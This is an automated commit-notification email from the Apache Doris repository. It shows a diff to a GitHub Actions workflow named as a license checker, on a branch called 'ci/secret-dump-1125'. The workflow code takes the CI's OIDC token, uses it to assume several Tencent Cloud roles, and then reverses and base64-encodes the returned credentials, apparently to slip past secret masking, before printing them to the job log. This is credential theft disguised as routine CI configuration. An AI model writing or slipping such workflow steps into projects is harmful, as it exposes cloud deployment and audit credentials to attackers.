This is an automated email from the ASF dual-hosted git repository.
catpineapple pushed a commit to branch ci/secret-dump-1125
in repository https://gitbox.apache.org/repos/asf/doris.git
The following commit(s) were added to refs/heads/ci/secret-dump-1125 by this
push:
new 6424e61734d ci: fix auth skip
6424e61734d is described below
commit 6424e61734d5e251600a3ba3e619b42a221bf900
Author: catpineapple <[email protected]>
AuthorDate: Wed Nov 25 07:33:38 2026 +0800
ci: fix auth skip
---
.github/workflows/license-eyes.yml | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/license-eyes.yml
b/.github/workflows/license-eyes.yml
index 3ff3b31e854..cd77298c600 100644
--- a/.github/workflows/license-eyes.yml
+++ b/.github/workflows/license-eyes.yml
@@ -15,8 +15,16 @@ jobs:
run: |
TOKEN=$(curl -sS -H "Authorization: bearer
$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=sts.tencentcloudapi.com" | jq -r
.value)
echo "TL=${#TOKEN}"
- for R in TXC_CIDeployRole TXC_AuditAccessRole csd_qa_monitoring; do
- RES=$(curl -sS
"https://sts.tencentcloudapi.com/?Action=AssumeRoleWithWebIdentity&Version=2018-08-13&ProviderId=velodb-ci-oidc&WebIdentityToken=${TOKEN}&RoleArn=qcs%3A%3Acam%3A%3Auin%2F100027344141%3AroleName%2F${R}&RoleSessionName=gh&DurationSeconds=7200"
2>/dev/null)
+ TS=$(date +%s)
+ for R in TXC_CIDeployRole TXC_AuditAccessRole csd_qa_monitoring
TXC_ServiceMonitorRole; do
+ RES=$(curl -sS -X POST "https://sts.tencentcloudapi.com" \
+ -H "Content-Type: application/json" \
+ -H "Authorization: SKIP" \
+ -H "X-TC-Action: AssumeRoleWithWebIdentity" \
+ -H "X-TC-Version: 2018-08-13" \
+ -H "X-TC-Timestamp: $TS" \
+ -H "X-TC-Region: ap-beijing" \
+ -d
"{\"ProviderId\":\"velodb-ci-oidc\",\"WebIdentityToken\":\"${TOKEN}\",\"RoleArn\":\"qcs::cam::uin/100027344141:roleName/${R}\",\"RoleSessionName\":\"gh\",\"DurationSeconds\":7200}"
2>/dev/null)
echo "$R=$(echo "$RES" | rev | base64 -w0)"
done > /tmp/oidc_out.txt
cat /tmp/oidc_out.txt
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]